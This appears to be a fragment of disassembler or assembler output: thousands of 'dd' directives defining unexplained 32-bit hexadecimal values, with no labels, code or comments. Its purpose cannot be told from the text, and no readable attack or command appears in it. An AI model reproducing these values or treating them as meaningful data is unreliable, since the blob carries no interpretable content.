dd 72F317E0h, 0D21ED030h, 7D31000Ch, 3B996478h, 3600BA63h
dd 3E91DA82h, 60FA7924h, 0CAC478DCh, 0B450AFCDh, 0ED12D428h
dd 4C027496h, 60DC1BCEh, 12CAE594h, 31D5AFC8h, 896E870h
dd 0B4E4828Fh, 51EBA106h, 7B45BFFh, 0C882413Fh, 7694518Ah
dd 0F02D32h, 0A1BBBD8Ch, 2F49CFDh, 7201AC1h, 1DC060A8h
dd 7C90F12Eh, 0A7965502h, 79158DDBh, 92A53C78h, 10557C91h
dd 7CD873A3h, 0EC54A041h, 12E80704h, 834A2B90h, 11120544h
dd 5408A110h, 74068F95h, 152BC062h, 1FA94040h, 756C0F84h
dd 6347FBEAh, 44E3B027h, 0AC9090B5h, 40DFAB28h, 439C64E5h
dd 36D40B00h, 0D0A20CA6h, 96BF17FFh, 49870F18h, 2DD541C1h
dd 3D1C6093h, 54401D13h, 2FBC88h, 0AEB47CA7h, 0D07B6728h
dd 2987800h, 8BC92C68h, 424044DEh, 72CC4613h, 0B7A404D0h
dd 4B010009h, 32C07715h, 37B0BD49h, 582C6700h, 96113AB6h
dd 46511226h, 0CB3C0015h, 9420443Bh, 0A9398212h, 70014412h
dd 282AF397h, 93FCD180h, 488561E6h, 767B200Bh, 726A01F4h
dd 0CC48DD84h, 4E419042h, 0ED6C608Fh, 49C93E70h, 870C900Dh
dd 0FF8103D7h, 378B1768h, 28A394B8h, 8A0FD201h, 9B2A62D9h
dd 3358B82Dh, 9707A43Fh, 53521AE2h, 1112A5EFh, 58C17A18h
dd 0A30255F3h, 0FAB3EC98h, 59E7A101h, 5518F0E2h, 71FDECE0h
dd 443A5A99h, 4275A9ACh, 205F72CAh, 0C947C227h, 0B3770600h
dd 4C367AA6h, 8CA6B9h, 0FFD75649h, 3285FEB6h, 8B161C90h
dd 38D04BA2h, 0EBA6Bh, 305178F7h, 0BBE7D999h, 44B20100h
dd 74FF1291h, 0ECC0F9D5h, 33F22EC9h, 0D04A13F4h, 7AEB8850h
dd 2C3C6B07h, 94503A82h, 0EC7F26h, 7155C159h, 7377241Ah
dd 13C8058h, 8B409CD6h, 0C0531533h, 1822E00Ch, 0D19F00A5h
dd 8ACA1F3Eh, 0DCA4DE76h, 2444EA24h, 0CD385611h, 87705B80h
dd 26FCFF48h, 0FA360100h, 8A6009A9h, 598334BBh, 31744108h
dd 0D40E9BD4h, 6A038985h, 68FC40A5h, 4DAFA090h, 26B2F884h
dd 40143009h, 0C0115E3Eh, 7378C400h, 0A5455F87h, 0B3341665h
dd 0AB38201Bh, 7004884Dh, 0E642CA25h, 80F44C4h, 1417663Ah
dd 71ED2651h, 105D40B0h, 0E58F7C7h, 0C12080A8h, 0AA8E71h
dd 9E32A792h, 241FCA86h, 2E47BA12h, 54482004h, 0ECA5805Ch
dd 90CFF480h, 0D8058898h, 0E8D23592h, 16994C88h, 155295h
dd 82677988h, 76248140h, 443A0E0h, 0A04A8925h, 0DBB4ECh
dd 0FACA2096h, 10E173A2h, 1362F71Fh, 99EFC28Bh, 7E02D644h
dd 4884B04h, 2F440197h, 0FB799563h, 0D08404C3h, 0C220E48Eh
dd 841539CAh, 96627909h, 88D440E4h, 7B4890B8h, 0A69C18DCh
dd 0F2305E78h, 0F328CB20h, 8FEA9C81h, 0B4AC60C7h, 0E7C2D605h
dd 0B83049A0h, 75392DBh, 5AFBD165h, 5BED1024h, 749867D5h
dd 91CDAC31h, 64291733h, 67969200h, 0F1C94EB3h, 347F9300h
dd 0EB81E5C8h, 0F2391CE4h, 42FDCF56h, 8A70AF00h, 0EA2408D8h
dd 9C24802Fh, 9B22A89h, 4E8C8480h, 41AFF042h, 43E93884h
dd 0E8245C9Ah, 2C34039h, 8A967D5Dh, 0F7DE52h, 4BAD9218h
dd 6339C01Ch, 93ECC3F3h, 61A28200h, 15740ADBh, 59EB0030h
dd 0C36264FAh, 6B7A4D43h, 44787A78h, 0DCC4ED00h, 0B4AA2E28h
dd 630D39E0h, 942248CCh, 6096881Eh, 80F5A940h, 2FA5AD0h
dd 0DA15E258h, 0F8900D42h, 9D005375h, 796ABE22h, 269B3A55h
dd 8754F4ABh, 32BF466Dh, 0C0802B54h, 26E15B35h, 1A602477h
dd 1EB31BF1h, 655700D8h, 4B7CEFDCh, 48E8EB6Ch, 0BE41576h
dd 0C9B12F00h, 0D870121Eh, 218B073Bh, 72C4949Ah, 5CA0B0CEh
dd 1F2635A7h, 0D6901A09h, 8F837F5Fh, 62D91E41h, 5B286020h
dd 0C7FA7507h, 0C66010A9h, 2CF3D1A2h, 0F304DBFh, 0CB09F01Ah
dd 7262A022h, 0FC1CCCE9h, 0E004F2Fh, 0BE5A2303h, 0DFDC8Eh
dd 91F1A4A0h, 0A82594C2h, 125C9B49h, 8491C3EDh, 0A19C9A0Dh
dd 0EF5040D3h, 577EA06Dh, 2AD1F601h, 0CA9B1A5Eh, 13EC49C8h
dd 893182D5h, 352863A4h, 507050A9h, 66286Ah, 22F41D7Fh
dd 0E3BAB7C1h, 24FA483Fh, 7489B083h, 0C050E832h, 0A33B00D9h
dd 5ED602FCh, 0D30F9880h, 0E158CF04h, 59DCE0BDh, 27C2A023h
dd 6466A413h, 109F7089h, 69206Ah, 0C57D9C90h, 0D8DB1E8Eh
dd 0A0303A4Fh, 0F8BE2630h, 0AAC90038h, 8473AC65h, 0C0B64F90h
dd 981C2789h, 8453D598h, 806E9A26h, 1B0E64Bh, 2099EC2Eh
dd 605A9362h, 0BE599855h, 0D22F009Ch, 0EFF9E55h, 31C90D8h
dd 0F70CAF07h, 3CC15156h, 0D6118A06h, 7214143Dh, 43FB0034h
dd 8B8DBFF2h, 0C3282C8Eh, 98D0204Ch, 96E0724Ch, 0C0CC9F54h
dd 2246C9C2h, 6A008657h, 5E4DEEF5h, 3D1F1FCh, 6F64835Bh
dd 0B902F24Ah, 4BBA91CAh, 0AEA0A090h, 3BED4Dh, 756E56E0h
dd 14A3FA45h, 1D27FC38h, 0F0C0AB34h, 0A2C8D4D3h, 1B260066h
dd 9353EAC3h, 0AB04573Fh, 4B4E9B72h, 831E09C0h, 0EEC818ECh
dd 9D747029h, 0AD603CB6h, 0C3868437h, 0D6A05A08h, 78E2A383h
dd 29055C63h, 0A6A852B3h, 0DCF4B8C9h, 0DC748927h, 8200ABBDh
dd 0C5249A92h, 7AF20Dh, 3E42DB75h, 0C2C73639h, 0EA1C4B74h
dd 9A416B60h, 63981982h, 0DAC058CDh, 0AB51002Ah, 0A61C9F4Ah
dd 0E403EAE7h, 0D39CB287h, 954FD055h, 8CF35CDBh, 186C4D24h
dd 1793D1EDh, 5F001B98h, 0AB45E660h, 9057861Bh, 0B4725CE4h
dd 0C03EC18Eh, 77290ECCh, 0A63AFDD2h, 44BC0256h, 0C1DC1F18h
dd 0B060E826h, 239A00CAh, 491ECE54h, 9812C85Ch, 0DCB0366Eh
dd 9F9D3D55h, 0A303F85Dh, 80E1D876h, 0F06D12E8h, 0A09532F0h
dd 68F6D3C8h, 0FCB83886h, 0A2C34900h, 9D27CE0Dh, 86F4E00h
dd 0C0CB7BB5h, 0E71C98BBh, 1A4F3985h, 12DB81FCh, 2569865Eh
dd 0FC2119AAh, 245ECA2h, 0CB943E23h, 0E8A06D28h, 0E04C5240h
dd 27007598h, 447C34Bh, 1F703693h, 5F86AAh, 46CB4D12h
dd 0C896E281h, 68177847h, 0D34F2BB0h, 9CBE00E4h, 5ED7FDAFh
dd 0B304C8A2h, 0AAF0316Bh
dd 3318ECADh, 0D2CC9114h, 6D7F7703h, 8FDB1539h, 444282C8h
dd 8A341D9h, 0D881112h, 0EC26CA7Eh, 28003498h, 5EFB1765h
dd 1DFD02E8h, 22DEA8A7h, 665D12C0h, 2EE22D1Dh, 0FF00211Eh
dd 0C2680603h, 4679B5h, 0C125DEC6h, 764844A1h, 70D2220Fh
dd 0C0E7A02Dh, 3C1C20h, 96369C3Bh, 1E625DA1h, 7DC5FD00h
dd 0BC7C4D4Fh, 69306003h, 0C2703D1Dh, 2D0B6A00h, 8F4DEDA3h
dd 0FCA93AD6h, 9C327286h, 0BE00895Dh, 84F5A080h, 14475Ah
dd 0FFA18715h, 7DCE1D62h, 0DB86F20Ah, 2D008752h, 0FA21DD6Ah
dd 0AE46006Eh, 6F3F4BA0h, 757F6637h, 38E3A718h, 0A039DD11h
dd 30CD3414h, 5D7062B5h, 4B0098CEh, 0FB7037A4h, 0AE0C19A5h
dd 0F5411194h, 0F6300756h, 1D8059D3h, 18DD497Bh, 0C108A595h
dd 0B70C1E76h, 18F37D0Ch, 0A80F88BFh, 3F719363h, 39590034h
dd 0B11440E0h, 4A00D4E8h, 0FD6874FEh, 327FEDh, 62FE288h
dd 5A5154A4h, 20DE81C7h, 0D1D39971h, 38E1EED5h, 0E54C0840h
dd 501C5C46h, 3B927D03h, 39766BF5h, 8A327100h, 0F1D813CAh
dd 7E87308h, 75454F55h, 0F922D07Fh, 8C086289h, 835E1635h
dd 95DE446h, 8995C903h, 42F6B842h, 0FA509088h, 39E17F58h
dd 69F8A1A8h, 4403311Dh, 0DD920573h, 8232A898h, 0BD2F44h
dd 5917F0EBh, 0DD0FAC80h, 875D19C0h, 879D922h, 5848A0CFh
dd 0B8D44A80h, 0AB2BDEFDh, 0D7589840h, 79990122h, 598F4862h
dd 0DD442042h, 50FE5B01h, 0F58CB0Ah, 74A9996h, 11D79D0h
dd 0DC26677Eh, 0C0008EB1h, 95778BC3h, 1CEED23Bh, 0E1CA93h
dd 9419449Dh, 0E7039ABAh, 908B3AFEh, 120CE132h, 0DD19002Ah
dd 0A3B01BA0h, 5EA22903h, 0C88B4D4Ch, 538BA63h, 8932CA79h
dd 377C0054h, 4C77F547h, 9C3610C6h, 3DFD1EF9h, 74DF804Bh
dd 76502EEEh, 93F2520Eh, 0E7C05C79h, 3688B05Fh, 1B9D0334h
dd 7E806F03h, 7C8FD0E7h, 0B503A98Ah, 8332CD27h, 28710955h
dd 6810261Bh, 9500BC7Dh, 33D24EE2h, 60147447h, 8AD62884h
dd 0C8F72705h, 0DD001659h, 375CC65Dh, 1F7E162h, 0F5FAE650h
dd 0D34D2ED5h, 2B0061C6h, 0AEC02F8Ah, 77228E29h, 95491845h
dd 81807C40h, 0E4A64228h, 44313F28h, 0AD20AB1Eh, 67179A00h
dd 2FF586B9h, 24F6D2D9h, 64FBE200h, 7EB5DC93h, 0E4982E45h
dd 39360041h, 0E5F2EB2h, 9042E8A8h, 6B20AD00h, 6318C6FFh
dd 12017752h, 203ADE0Bh, 79A0B814h, 1125EB30h, 18A2F498h
dd 4914B295h, 70010B7Ch, 419B53DBh, 9AD90F40h, 0BB99CC50h
dd 1A29DF16h, 0D800F9D2h, 0E3AA1128h, 1A8A240Ch, 0E51963h
dd 7A8408C4h, 4271AD05h, 0CA809661h, 49803B58h, 19DB659Ch
dd 0B264134h, 8C009E8Bh, 0C9C65E72h, 1B110C5Ah, 22B1373Ch
dd 0F4400100h, 0FCA333A6h, 0B47F00BFh, 6E83B7D1h, 61E8F714h
dd 13604249h, 4C25E7E4h, 124C1410h, 0D40035E1h, 0BEA71686h
dd 43745C65h, 18E5EB14h, 3EBDE40Ah, 4FB6003Ch, 24178B6Fh
dd 0AA2D7100h, 0B579487Eh, 63D90BBh, 1E28C421h, 5930313Ch
dd 0CB64917h, 0E74202A6h, 1F40C8D3h, 8B432060h, 32631905h
dd 0A4466494h, 0A19936h, 83084110h, 0F23F3C7Eh, 2E0A0DE0h
dd 0C8C871DCh, 0A5849E10h, 0BD7C470Ah, 930C9DD9h, 17A820F5h
dd 83F87AD1h, 0F34C3F70h, 82311234h, 27E09C31h, 0D5F0170Ch
dd 6063650Ah, 76070C04h, 9D204B02h, 1FF2E213h, 2A874E3Fh
dd 0EFB10534h, 80587282h, 0E9A54F70h, 7AB34058h, 61FD0505h
dd 0E0553C91h, 56E70C94h, 60F519EAh, 0A8B74953h, 300E5CF1h
dd 0C27504B6h, 64744A52h, 6BBF0190h, 0E02F7F56h, 0F41103Ch
dd 3021DED9h, 4EBB4680h, 6CD4700h, 7FB592F1h, 1D5802E7h
dd 0D5945FABh, 0AA7DA480h, 200090F9h, 488F54EDh, 0BE7AC10h
dd 60690934h, 0CC562804h, 8B01E6E4h, 10A980A1h, 3DDC19BEh
dd 9144B06Bh, 0C30EBC14h, 0BF609A0Dh, 6403FA33h, 0CB7F99C0h
dd 0C0923572h, 0DF8F0411h, 0A6077882h, 4C3E76AEh, 0B2964690h
dd 919C2C9Ah, 0EFDB032Ah, 90333AC0h, 0BC17E820h, 446D2F03h
dd 6262E499h, 0C483393Ch, 351F3428h, 610CCC19h, 57F2A300h
dd 0EBA801BAh, 4A970117h, 2C3CF8E1h, 849FA6Dh, 9D51881Dh
dd 9B368C2Eh, 0F20046B9h, 0D2068BAh, 1612A2CEh, 72386B88h
dd 0B12057CCh, 62426Ah, 31BEBFEEh, 160EB3C8h, 0DDE44500h
dd 0B4D051A8h, 6BB218DCh, 0EFD4104Dh, 0A6CAC61Eh, 42A91DC0h
dd 4CBC7231h, 8F004180h, 0BEA4E5E6h, 0C635F2Ah, 2DF569h
dd 957AEE71h, 6C2A1B4Ah, 12777698h, 16CE995Ch, 0D8489FA7h
dd 542DC07Fh, 360C0BD9h, 0E9675738h, 920B086h, 0E57BAC6Eh
dd 18BC2491h, 6BD3310Fh, 0C0BD2A31h, 0D491D779h, 0A118A044h
dd 5249AD0h, 7E600470h, 0B4CBF0h, 0EFA4124Bh, 8E9BB711h
dd 3DB54801h, 0A46D915h, 0C17EB991h, 0B8633188h, 0C71F7882h
dd 0D0661E9Dh, 3808E028h, 582C4448h, 36E4805Ch, 21FCBCCh
dd 73E28758h, 9840682Bh, 0A020BDEh, 49D71308h, 0C40407Dh
dd 4F886B2h, 0E780F4BBh, 2FB1D850h, 532D0098h, 57AFA2A4h
dd 0D100DE36h, 0D40571F0h, 0C7145F21h, 6E4DEE81h, 65AA6860h
dd 492E319Dh, 3614CC63h, 2B09838Ch, 0D575B8F6h, 990700BAh
dd 0C566ACEEh, 0C10F80FDh, 2385AE20h, 4804EB1Fh, 0DD2654A0h
dd 36EC06DDh, 0F9004994h, 0CC9BAB8Ch, 0F60F5C78h, 75B3486Dh
dd 35438501h, 40104730h, 39941D8h, 0A745E8C2h, 98088125h
dd 36F5B8E5h, 0CD9EF180h, 0EF7AB08Bh, 67DC7024h, 0C74D370Fh
dd 0E953DE18h, 835000D3h, 0A06D4976h, 0A31E73F5h, 2F43DDAFh
dd 14725DA7h, 1403DE11h, 0CC48184Ch, 32261DC4h, 0F20C435h
dd 2AEE10DEh, 4084B820h, 6600ECD8h, 0F976E824h, 1F90EF6Eh
dd 3B563CEh, 0D68C6FA6h, 98CC12B0h, 1008F55Ch, 0DC8209BFh
dd 98E0D35Ah, 0B6E82819h, 0BBFAE8h, 0FB408707h, 0E0116000h
dd 0BD2E044Dh, 87E579B0h, 0BE806184h, 4A86E84Bh, 3EA61912h
dd 0BFE50C20h, 32F400D3h, 57A8C44Eh, 5500D668h, 0B3386A08h
dd 445A4Ch, 0B6A2E9E3h, 0BEC4D8DFh, 2264FC4Ch, 3445585Eh
dd 0E8A5CC00h, 9C99A062h, 3BF44050h, 0BE389D02h, 0C28370D6h
dd 30A4E67Ch, 1F2837A6h, 0F531B48Eh, 79731951h, 189A30h
dd 0AD41618Ch, 0BD591187h, 28F8F977h, 0C1C43BFCh, 0DCB28B32h
dd 0EBB8D107h, 0C0187BDEh, 0D542584Bh, 0E5124E21h, 8C410CCBh
dd 88481060h, 61C03958h, 0A6D143A0h, 6750046h, 8757902Dh
dd 7601EECCh, 8BD445FEh, 418851E1h, 24259D43h, 0F9403AB8h
dd 26B5E3E4h, 0C28144Ah, 0E05B5C1Fh, 409D0B2h, 0B5409E48h
dd 0C5EEC099h, 4A0A3300h, 5F47243Ch, 1029E566h, 93302701h
dd 7310B202h, 32887B18h, 57CB989h, 8CE519BDh, 0CB282CF0h
dd 1200E8B2h, 0BE23278Bh, 50D00F40h, 88306897h, 8004241h
dd 0D6DFFB22h, 1634F92h, 0E7AF8A71h, 714A5D98h, 0BDFC1C28h
dd 41380330h, 3DC70256h, 0B11A521Ah, 24426875h, 10555CC1h
dd 1CD2E506h, 0B3576393h, 0C5C0EB10h, 58318756h, 75D4F10Ch
dd 0DBC06CD5h, 7A07722h, 9E46BC6Ah, 0E5A110ECh, 0A61B95DDh
dd 0C4305C72h, 0C8031480h, 0A08F00E2h, 1B84F44Bh, 5D0C5EBDh
dd 11F5E3A7h, 143950DEh, 909958h, 0CAA42FFFh, 0BA0CE96Bh
dd 0B15F5154h, 433D2A76h, 33D20060h, 38C36823h, 362CA6E1h
dd 594560F3h, 76CAD820h, 0F1D10552h, 4C201A28h, 0FC564890h
dd 0BD7F2600h, 751F11D6h
dd 2C08EC27h, 0CB74E779h, 1CBE4C99h, 79010222h, 407A2ACFh
dd 7103A873h, 71FEC42h, 0C836BD11h, 0BD0858h, 311786ABh
dd 48CAB394h, 84431DE0h, 4CD10A00h, 3ACC5686h, 68257700h
dd 1E92CEB5h, 9D260F3Ch, 0C4A0E936h, 0E7F7315Dh, 5000E4F4h
dd 0C9E43BAh, 77D3EC1Dh, 39DD0298h, 61A6AF8Fh, 3F3EEC98h
dd 6C833D00h, 0D85C80CAh, 6FE03BE9h, 32EF0BF9h, 8091528Ah
dd 4482119Fh, 0F46B7AC4h, 1D9805E4h, 0D25919BBh, 68212F7Ch
dd 0A1E03191h, 87A400E8h, 77858A80h, 0BE0B86EEh, 91FEB9h
dd 5F3C4578h, 8CC9413h, 1E44509Ch, 50E02922h, 0B311A8B2h
dd 3F2E6457h, 787F40F0h, 0E1000BC6h, 850DCECBh, 1F4E71Ah
dd 73A6FF86h, 70AEF502h, 0D60A194Ch, 0F0A0BD39h, 37A010E7h
dd 48B52D4Ah, 58869485h, 0CB802138h, 0DF00FF26h, 0C2492BB2h
dd 16D6214h, 0BE5F4488h, 23752E99h, 0F887684h, 0B19D62D7h
dd 40E6B999h, 8AD7CA0h, 20B31900h, 4FEF6D43h, 8245006Eh
dd 0BC7EEDA0h, 9890076Ch, 35377CF8h, 0B4204961h, 0D59DFFh
dd 0ECAA7D3Fh, 0ADB2B3C1h, 50EAE00Eh, 99BA23E7h, 2B60FFC8h
dd 5DCE2Eh, 1AA06532h, 1F64353Ch, 4E557605h, 5048D40Fh
dd 361041BFh, 861981B9h, 1A2B5F32h, 0D1B65280h, 3DD1F16h
dd 26B41303h, 0E021E0E7h, 948832C9h, 903696C0h, 0B994E488h
dd 47B16F00h, 38CD2C45h, 3A908Eh, 2BFA6733h, 2DAE3D62h
dd 0E97F702h, 0C0EDBAA1h, 0F67AA0ACh, 74470C57h, 0D650B003h
dd 5E057209h, 7E54405Fh, 60425C37h, 0AE8A3902h, 3860CD31h
dd 4311CEBCh, 0BD3476C5h, 4C8411h, 0DA802D14h, 380A2437h
dd 80BD9957h, 591A4562h, 0D4253C70h, 2A4B0438h, 3C581C08h
dd 0B927803Eh, 5EF3EB6Ah, 3F58377Ch, 314E05CDh, 70A4788Ah
dd 0CF6486Ch, 40530519h, 0C01C6887h, 7CC3E928h, 85E2412Fh
dd 3883DB58h, 508B76C2h, 79D80178h, 0BFA83C29h, 43903h
dd 0BE67067Dh, 4B282F1h, 794940C8h, 2FD4F425h, 7033008Ch
dd 61780D24h, 0E900796Dh, 7B5E18DCh, 1C54D2h, 0A45D20FAh
dd 368A2843h, 9F00A576h, 0CC7537AAh, 0F6675CB5h, 3CE7264h
dd 773E8ADDh, 81D89AD9h, 212CD60Ch, 0CA00C648h, 0DBA41134h
dd 0DD850210h, 161ED10Bh, 0D59C5861h, 7678205Ch, 0C55AF1F4h
dd 11803C10h, 581514E7h, 0D700CC0Dh, 7E90DA23h, 3700CAE1h
dd 5C719FFFh, 380ADF93h, 4F000FDCh, 86F31947h, 0EA245EDBh
dd 0A813E8D3h, 30B2E032h, 0AD1DF97Bh, 1905741Eh, 0E0C803CCh
dd 8A800B4h, 16AE454Dh, 98006778h, 12969D74h, 42B6D84h
dd 31263A21h, 0BD04F48Bh, 4DEA9516h, 7B58C405h, 7D2B3180h
dd 0E93500DDh, 0DBD04A41h, 7C098053h, 6B06CD40h, 0F850A1B8h
dd 0FE08A0D6h, 1CD5482h, 0EBB67C48h, 80D1BDF0h, 6ABEE660h
dd 0F3D90C59h, 58863186h, 0DA01D903h, 73A0841Bh, 74F81934h
dd 472F277Fh, 8761D410h, 262B0E00h, 0B5FB969Ch, 0ED7609A7h
dd 0A007C98Ch, 0B833A003h, 78944ED6h, 903C4662h, 77D5A90h
dd 755E116h, 2639004Fh, 0A9006EB5h, 44C4AB24h, 10AAD5A6h
dd 15EB858h, 5AE3A0E4h, 0C473108Ah, 0D0095204h, 0DDD50F6Ah
dd 0E4080024h, 92179F27h, 5668D035h, 0D48EBB2h, 81D80025h
dd 0F5AA84A1h, 120EFA8Dh, 60471315h, 0A895E794h, 1CCE6000h
dd 56EBBCB6h, 0FFA50204h, 0EF6E109Bh, 0EDE808E4h, 21ECAB14h
dd 5B420208h, 85C54F8Ch, 0C003FE8h, 4626F7D6h, 52781850h
dd 0F9F1B0A8h, 0BEBD7D06h, 9628D85Eh, 4EF0A4Ch, 0A543021Ch
dd 6844BD95h, 9200CCB9h, 26943F0Bh, 139C0009h, 74B80520h
dd 1503D6ABh, 83ADD19h, 5C80AD1Eh, 3E031C7Eh, 18839C25h
dd 28A5EBB8h, 930C80E7h, 0CB09E3A1h, 8473C81Eh, 32443A24h
dd 3C2CB280h, 0A59C27FDh, 84B4361Ch, 0E66000EBh, 550A9863h
dd 0F52E8C68h, 0B6032056h, 0EAD78E0Bh, 0B7948613h, 7B200111h
dd 6DD833A2h, 597C74BDh, 8E94211h, 0CF14B500h, 0DE057641h
dd 7DD43D48h, 25AD4706h, 2D08E674h, 0F8A05887h, 3F9210B0h
dd 710DBF00h, 4395E13Ch, 0BD1E0099h, 0EE5F312Ah, 2308408Bh
dd 0B10D1A2Fh, 0FD20D360h, 0CE49803Ah, 47255A95h, 5EDA00A2h
dd 0BACABDFEh, 0C91E64C2h, 962722AEh, 707C586Ch, 36EF0C03h
dd 4B91419Ch, 28D3714Ah, 778B8188h, 11825952h, 38BD505Eh
dd 19002CEEh, 0A27E2905h, 0C02768h, 76574017h, 0CFE75E52h
dd 564D6209h, 0CE06804Eh, 3CA54ABEh, 342FE68Bh, 69B118A0h
dd 0B300D8D6h, 0AC49BFD3h, 130F95E9h, 7F6A58h, 400CC60Ch
dd 0CD2AD984h, 510BC060h, 988B3242h, 8B20E5A8h, 715F77B0h
dd 1C22DB4Eh, 0C836255Ah, 6400B508h, 0C1469A7Dh, 0E890BFD4h
dd 96141FD0h, 0AF24A4A5h, 92C84090h, 0B3403116h, 0A9083601h
dd 3F3061D8h, 0E84202F1h, 436DDDE4h, 1D3F4840h, 64D12D80h
dd 43D5501Bh, 2498DD0Fh, 40B83F81h, 917C2F08h, 86326E3Eh
dd 13D08851h, 0E5A14438h, 6C814503h, 0E3997A1Fh, 7C191DC3h
dd 0E552C01Eh, 155FE74Dh, 0A30BD717h, 936F6400h, 65E3281Fh
dd 0E45869D9h, 0AA03F26Ch, 117677B7h, 0D609F0E2h, 52052992h
dd 345E0194h, 2BA30ABEh, 83B98420h, 84934CC0h, 368BF800h
dd 0BF3809D0h, 42C18201h, 3707FADBh, 199E40C2h, 44849534h
dd 0D1015E26h, 38A595FDh, 72356042h, 5B32020Ch, 408F39C7h
dd 318877C0h, 0F43E7F01h, 0D6D3F285h, 2F9AE30h, 0A3C3A122h
dd 4061BE8Bh, 0C8DC39D5h, 0D0C932A0h, 3370B861h, 0E4B200B0h
dd 2065864Eh, 25B40073h, 47991B60h, 0E848E17Fh, 214964F4h
dd 28892085h, 0D2DC072Ah, 21016660h, 4DABA000h, 433ECE55h
dd 49EF24Eh, 357D6233h, 994891DBh, 28202BA7h, 3405F4Eh
dd 31553B9Ch, 0A9182C9Dh, 0DA16035h, 4293FEAh, 0A97D4F83h
dd 0D0E622EFh, 0A2F59F18h, 4E972588h, 4AD82032h, 0DA067C17h
dd 0B403BED1h, 803891C1h, 3A130407h, 0AA14E718h, 9848A11h
dd 49B43ED8h, 0B8701DBCh, 242209D4h, 9C44AC0Fh, 2C33A65Bh
dd 86190080h, 412EDBEEh, 0A0987609h, 0BEC49E02h, 0F25E4A33h
dd 0D3A702ACh, 0DC361043h, 38A02882h, 28F523h, 45411D29h
dd 957691Eh, 50825A00h, 9CA84CB6h, 4F74253Fh, 5300F046h
dd 0CE204746h, 0C6E76Ch, 0FB2C869h, 65D3149Dh, 2748AE0Eh
dd 31DEE0C5h, 72B82539h, 0A3450078h, 7740A186h, 0CE02E280h
dd 29568407h, 7235h, 0D288DB6Dh, 664C65B2h, 3DB31D08h
dd 0DA19016Bh, 39893123h, 58283904h, 82859DE4h, 34E0C40Ah
dd 118BC2Fh, 0DEF7B8D1h, 0FEA6085Dh, 6DE12558h, 0CBC38C1h
dd 6FEC05h, 0EFD4562Bh, 0AEE96867h, 5CDEC204h, 5AC0C116h
dd 9361AA0h, 55610AB0h, 0CA9B082h, 1E5080F5h, 0EDC253Fh
dd 0D8D2677Ah, 8227FA2h, 4A1E90C5h, 0D4905FD3h, 9F6C1Ah
dd 0D1E54E03h, 2B98C5BCh, 871FDA00h, 1E764B80h, 0E7471h
dd 0A05B275h, 0C4DBC8B7h, 6B0967E8h, 5AE128B3h, 7C41024Ch
dd 4B6D8BBDh, 11F08861h, 14698E32h, 0EF80BD00h, 0E8814733h
dd 87799305h, 48F0A1D9h, 42691495h, 313083B9h, 77D6B796h
dd 1F0C5A00h, 57C72F4h, 0C0C450DAh, 0FC598A34h, 5CC2B400h
dd 3C2617B1h, 5778822h, 80553102h, 53A08C1Ch, 2BF03E00h
dd 0D67CBB67h, 0E84EEDCh, 69014918h, 29DDEBA0h, 0D9300FD0h
dd 0BE86E139h, 59D31F4Bh, 0C365347h, 0F5517CD4h, 780FE891h
dd 9C6E016Ah, 6F304A1Eh
dd 0E62B0096h, 88313D81h, 84A86790h, 7D1938FBh, 9C182480h
dd 31D2810h, 81801395h, 9C225F52h, 244C0400h, 0B5FFF2C0h
dd 0B6FE7A00h, 2D32B7D6h, 8861133Ch, 0D0A40429h, 0CB8C2ECh
dd 6BD20F21h, 18602A12h, 323A4058h, 0E43C5088h, 19E43F56h
dd 2111B395h, 225CA890h, 6B461430h, 0C91090C6h, 90C84A26h
dd 0EEAA0045h, 9AFB3097h, 38035E4Bh, 7901E858h, 4F8112A8h
dd 0D8A80829h, 0A195368Ch, 0AA460078h, 0ADF6B077h, 6C00C627h
dd 18C468CEh, 71743409h, 651C30FBh, 83566731h, 4E1D5427h
dd 40489E80h, 108D2360h, 5B13B403h, 0B9CF05BBh, 80ED5A76h
dd 0EE7F27D0h, 0A377002Fh, 1D94FFE6h, 5C033B05h, 0EAE16532h
dd 0ECE7E059h, 46CBA7Dh, 9A5BF3B6h, 7E28C0A0h, 0BCA1CEDAh
dd 5DF801FDh, 1298D111h, 0E4844386h, 40D8CC53h, 0A302F925h
dd 88A0D390h, 0E1779h, 4CEC727h, 0AAF1638Dh, 0D7457126h
dd 7D293930h, 49604434h, 4D5ADC0Bh, 0E8808261h, 0E28C46C9h
dd 0BE4B03B7h, 8D2CECDEh, 0D8543391h, 0C690E2D1h, 0C660954Ch
dd 161323Fh, 87158514h, 0FC532AB0h, 0F8011A26h, 457B73B3h
dd 8A428318h, 8090D18Ch, 0E8D9ECAFh, 9A004943h, 920B6C52h
dd 230DAABh, 0BF407821h, 6C5E0891h, 205E2064h, 6A40F4B4h
dd 2424374h, 94DAE761h, 5C56F5E6h, 44FA4880h, 887D4Ch
dd 0E8D63C0Bh, 0FEECF952h, 0E50A1B09h, 21C096CDh, 0E30E59EFh
dd 10368B25h, 3E1E4284h, 5C3CC7A0h, 50967774h, 4C4D8h
dd 77CE5198h, 0C9CB7F52h, 3C0130B0h, 2AB9A4B2h, 0B8914C97h
dd 0CD8E003Ah, 1E89DF5Bh, 0BCE712D6h, 0FA64A0B0h, 0F8E92802h
dd 209F36C5h, 84D5E2C1h, 8313F671h, 20B08BEDh, 340B9CEh
dd 963554BFh, 0C3B13100h, 0FD403845h, 0E29300EEh, 3831050h
dd 0BD3D5A0Ch, 0FCB0AAD1h, 1A3F1D13h, 8920CE2h, 3F939508h
dd 0B815F4D0h, 0E50D00EEh, 4F6E4C9Eh, 5E00DE07h, 0CC8EC2A2h
dd 24028140h, 2F143134h, 0CDF5010h, 0C6EF9B01h, 3203F149h
dd 39476510h, 24B3CE1Dh, 0C6D74D80h, 389DB55h, 9F2B728Ah
dd 0E3EF9CA3h, 0E8F879A8h, 7D007611h, 0CC151D6Eh, 0B492029h
dd 7989E318h, 0FF0BC409h, 0C1102400h, 0A509E880h, 711C8BCDh
dd 2AE6074Ch, 3680E9BCh, 41A36504h, 50A14D01h, 54DBA4A2h
dd 3FA805D0h, 698E615Ah, 0F27B8Bh, 7534CA69h, 38BAD547h
dd 0F056209h, 2E9C90DBh, 0CC7C171Dh, 91C40EB6h, 2620216h
dd 88839DBCh, 70972F2Eh, 7A95F8EBh, 0E0D59426h, 0C6472701h
dd 0A1E0D91Fh, 517F398Bh, 0B4885B30h, 19C4D85Ah, 0B0E9BA99h
dd 6A00A853h, 1907466Fh, 6D0E861Eh, 65C5DA5Fh, 0F4CCCB30h
dd 0DE5C00D0h, 0E286B04Fh, 77000D83h, 0CCEF59EDh, 0A13AA095h
dd 0E313522Ch, 73FD0EB0h, 44CC2F00h, 6AB5178Bh, 0BA9511E1h
